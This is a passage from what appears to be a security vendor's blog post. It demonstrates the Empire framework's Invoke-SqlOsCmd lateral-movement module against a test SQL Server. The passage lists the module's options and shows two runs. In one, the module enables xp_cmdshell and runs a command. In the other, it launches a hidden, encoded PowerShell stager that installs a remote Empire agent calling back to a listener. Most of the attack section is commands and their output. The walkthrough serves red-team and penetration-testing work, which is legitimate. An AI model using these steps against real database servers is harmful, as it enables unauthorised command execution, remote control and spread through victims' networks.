Now for the party favorite, Invoke-SqlOsCmd. This leverages xp_cmdshell to run commands on the remote system in the context of the SQL Server user.

(Empire: NCH9K51L) > usemodule powershell/lateral_movement/invoke_sqloscmd
(Empire: powershell/lateral_movement/invoke_sqloscmd) > options

              Name: Invoke-SQLOSCMD
            Module: powershell/lateral_movement/invoke_sqloscmd
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @nullbind
  @0xbadjuju

Description:
  Executes a command or stager on remote hosts using
  xp_cmdshell.

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Listener   False                                 Listener to use.
  CredID     False                                 CredID from the store to use.
  Command    False                                 Custom command to execute on remote
                                                   hosts.
  Proxy      False       default                   Proxy to use for request (default, none,
                                                   or other).
  UserName   False                                 [domain\]username to use to execute
                                                   command.
  Instance   True                                  Host[s] to execute the stager on, comma
                                                   separated.
  UserAgent  False       default                   User-agent string to use for the staging
                                                   request (default, none, or other).
  ProxyCreds False       default                   Proxy credentials
                                                   ([domain\]username:password) to use for
                                                   request (default, none, or other).
  Password   False                                 Password to use to execute command.
  Agent      True        NCH9K51L                  Agent to run module on.

This module has two methods for running. The first is to simply run a user specified command on the remote system.

(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Instance sql-2012.test.local
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Command whoami
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: 6KVEUC

sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: whoami

nt service\mssqlserver

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options
However, this is the Empire, why not just place an agent on the remote system? Well we can natively do that as well.

(Empire: powershell/lateral_movement/invoke_sqloscmd) > unset Command
(Empire: powershell/lateral_movement/invoke_sqloscmd) > set Listener http
(Empire: powershell/lateral_movement/invoke_sqloscmd) > run
(Empire: powershell/lateral_movement/invoke_sqloscmd) >
Job started: X3U26K
[+] Initial agent 59BNMXTA from 192.168.1.195 now active

sql-2012.test.local : Connection Success.
sql-2012.test.local : You are a sysadmin.
sql-2012.test.local : Show Advanced Options is disabled.
sql-2012.test.local : Enabled Show Advanced Options.
sql-2012.test.local : xp_cmdshell is disabled.
sql-2012.test.local : Enabled xp_cmdshell.
sql-2012.test.local : Running command: C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden -Enc [TRUNCATED]

sql-2012.test.local : Disabling xp_cmdshell
sql-2012.test.local : Disabling Show Advanced Options

(Empire: powershell/lateral_movement/invoke_sqloscmd) >

SELECT * FROM PowerUpSQL WHERE dark_side > light_side;

In the future, as we add modules to PowerUpSQL, we expect to continue to add them to Empire as well.

Discover how the NetSPI BAS solution helps organizations validate the efficacy of existing security controls and understand their Security Posture and Readiness.

X